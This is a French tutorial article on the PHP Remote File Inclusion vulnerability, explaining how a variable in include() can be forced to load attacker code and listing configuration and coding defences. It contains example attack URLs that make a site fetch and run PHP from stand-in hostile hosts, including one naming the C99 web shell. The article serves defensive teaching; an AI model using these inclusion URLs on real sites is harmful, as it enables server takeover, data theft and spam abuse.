Sécurité: la faille Remote File Inclusion
Votre site fait appel à php, que ce soit par vos développements locaux ou via l'utilisation de scripts prêts à l'emploi tels que joomla et autres ?
Alors vous êtes une cible potentielle des hackers.
"remote file inclusion", ça veut dire "inclusion de fichier à distance".
Imaginez qu'une personne mal-intentionnée arrive à excuter quelques fichiers php de son cru sur votre serveur web...
Ces exécutables lui permettront de faire beaucoup de choses sur votre site.
La technique qui va vous être présentée ci après est utilisée principalement par des "industriels du hacking", dont le but est d'utiliser votre serveur pour, par exemple, émettre des mails, spam, par millions pour le compte de sites type casino, médicaments contrefaits, ou encore de sites porno.
Votre hébergeur, pour ceux qui sont en hébergement mutualisé, ne supportera pas les plaintes pour spam, et suspendra votre espace web...
Si vous êtes en serveur dédié, la conséquence sera une machine saturée et des plaintes pour spam.
Bien sûr, puisque le pirate peut exécuter tout script php de son cru sur votre machine, il sera à même de recueillir des informations sensibles, ou de causer des dégâts.
Quelle est la faille ?
C'est la commande "include" de php (et aussi include_once, require et require_once);
Comment ça fonctionne ?
C'est très simple. Si la commande Include utilise une variable, le hacker cherchera à forcer cette variable par la technique "remote file inclusion".
Exemple:
Supposons qu'une page, que l'on appelle normalement avec "http://monsite.fr/mapage.php", comprenne le code ci-contre :
include $chemin."bouts_de_code.inc";
Que se passe t'il si un pirate, sur son navigateur, saisi :
monsite.fr ://sitepirate.ru/code_pirate.php? ?
La réponse est ... que la commande include va se comporter ainsi :
include "http://sitepirate.ru/code_pirate.php?bouts_de_code.inc";
Votre page habituelle va donc exécuter un code php situé sur un serveur distant.
C'est là la faille de la puissante commande "include", puisque celle-ci permet d'inclure du code depuis le site local, mais aussi sur un site distant...
On remarque au passage que le pirate aura pris soin d'ajouter un "?" en fin de l'url bricolée, pour que la partie finale de votre commande include "bouts_de_cond.inc" soit considérée comme paramètre, et ne rende pas l'url invalide.
Le pirate aura au préalable préparé un fichier de commandes php
sitepirate.ru
Celui-ci, s'exécutant sur votre serveur, aura donc tout pouvoir pour y installer d'autres fichiers php, rendant les opérations plus confortables pour le pirate.
Comment s'en protéger ?
- Mettre la commande Register_Globals à off
- En php4, mettre la commande allow_url_fopen à off. Cette derniere permet la lecture de fichiers situés sur un autre serveur;
- En php5, mettre la commande allow_url_include à off. C'est un apport par rapport à php4, qui distingue les fichiers lus des fichiers inclus.
- Tester vos variables, particulièrement celles paramétrant la commande Include.
Remarques
Que vos fichiers includes soient suffixés par ".php", "txt" ou ".inc" ne change rien...
Dans la pratique
La meilleur protection est d'écrire ses include en dur, ainsi:
include "include/moninclude.php";
mais le fichier appelant pouvant être appelé de pages localisées à des niveaux différents dans l'arborescence de votre site, il est plus commode de faire ainsi :
include $DOCUMENT_ROOT."/include/moninclude.php";
On pourrait penser la variable système document_root inaltérable, il n'en est rien.
Même si vous utilisez sa forme $_server["DOCUMENT_ROOT"], elle pourra être détournée, par une url telle que :
monsite.fr [DOCUMENT_ROOT]=http://www.malicious.code.com/C99.php?
La mise à off des variables systeme php, vue plus haut, supprime ce risque; encore faut-il avoir accès à celles-ci.
A défaut, le plus sûr est de tester la variable recevant Document_root, et de stopper l'exécution si elle contient "http", ainsi :
define("Includ", $_SERVER["DOCUMENT_ROOT"]."/include/");if (strpos(Includ,'http')) exit;// secu anti-RFI remote file inclusion
On teste la présence des caracteres http, nécessaires pour coder une url externe.
Un lien :
wiki.dreamhost.com
En anglais, mais très clairement expliqué.
Des questions, des remarques ? Cet article vous a plu ? On en discute sur le Forum
Warning: Cannot modify header information - headers already sent by (output started at /homepages/21/d181192212/htdocs/vazigo/cache/jccache.php:53) in
/homepages/21/d181192212/htdocs/vazigo/include/module_compteur.php on line
9